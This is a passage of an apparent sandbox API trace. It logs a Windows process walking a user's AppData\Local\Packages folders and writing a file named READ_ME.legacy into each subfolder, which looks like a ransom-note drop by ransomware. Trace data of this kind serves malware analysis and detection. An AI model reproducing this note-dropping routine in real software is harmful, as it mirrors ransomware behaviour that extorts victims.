ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0152.995] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0153.066] WriteFile (in: hFile=0x864, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.067] CloseHandle (hObject=0x864) returned 1 [0153.067] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3e4ab, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xf3e4ab, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xf3e4ab, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.067] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0153.068] WriteFile (in: hFile=0x864, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.069] CloseHandle (hObject=0x864) returned 1 [0153.069] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca74e0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3df817ee, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.069] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.commsphone_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864 [0153.070] WriteFile (in: hFile=0x864, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.071] CloseHandle (hObject=0x864) returned 1 [0153.071] FindNextFileW (in: hFindFile=0x563a38, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df817ee, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca74e0f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3df817ee, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.071] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xffc77b6a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2a1ad6e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563bb8 [0153.071] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xffc77b6a, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe2a1ad6e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.071] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ab2580c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x325b0df7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x325b0df7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.071] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0153.153] WriteFile (in: hFile=0x868, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.154] CloseHandle (hObject=0x868) returned 1 [0153.154] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3aad9349, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d40cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aad9349, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.154] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0153.155] WriteFile (in: hFile=0x868, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.155] CloseHandle (hObject=0x868) returned 1 [0153.156] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3aa1a750, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d43eb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3aa1a750, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.156] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0153.157] WriteFile (in: hFile=0x868, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.157] CloseHandle (hObject=0x868) returned 1 [0153.158] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d4889, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9f4516, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.158] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0153.158] WriteFile (in: hFile=0x868, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.159] CloseHandle (hObject=0x868) returned 1 [0153.159] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a1ad6e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe2a1ad6e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe2a1ad6e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.159] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca7d4d6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9f4516, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.159] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0153.160] WriteFile (in: hFile=0x868, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.160] CloseHandle (hObject=0x868) returned 1 [0153.161] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3aa1a750, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x711e790d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x711e790d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.161] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0153.262] WriteFile (in: hFile=0x868, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.263] CloseHandle (hObject=0x868) returned 1 [0153.263] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffafa43f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xffafa43f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xffafa43f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0153.264] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0153.265] WriteFile (in: hFile=0x868, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.265] CloseHandle (hObject=0x868) returned 1 [0153.265] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca839d45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9f4516, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0153.265] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.connectivitystore_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0153.266] WriteFile (in: hFile=0x868, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.267] CloseHandle (hObject=0x868) returned 1 [0153.267] FindNextFileW (in: hFindFile=0x563bb8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a9f4516, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xca839d45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3a9f4516, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0153.267] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe32bf560, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x563bf8 [0153.267] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767fb19c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe32bf560, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0153.267] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x767fb19c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x76821433, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x76821433, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0153.267] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0153.303] WriteFile (in: hFile=0x86c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.303] CloseHandle (hObject=0x86c) returned 1 [0153.303] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0153.304] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0153.304] WriteFile (in: hFile=0x86c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.305] CloseHandle (hObject=0x86c) returned 1 [0153.305] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0153.305] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0153.306] WriteFile (in: hFile=0x86c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.307] CloseHandle (hObject=0x86c) returned 1 [0153.307] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0153.307] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0153.308] WriteFile (in: hFile=0x86c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.308] CloseHandle (hObject=0x86c) returned 1 [0153.308] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32bf560, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe32bf560, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe32bf560, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0153.308] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0153.309] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.creddialoghost_cw5n1h2txyewy\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x86c [0153.309] WriteFile (in: hFile=0x86c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0153.310] CloseHandle (hObject=0x86c) returned 1 [0153.310] FindNextFileW (in: hFindFile=0x563bf8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x767aed3b, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x767aed3b, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x767aed3b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0153.310] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\Settings\\READ_ME.legacy" (normalized: 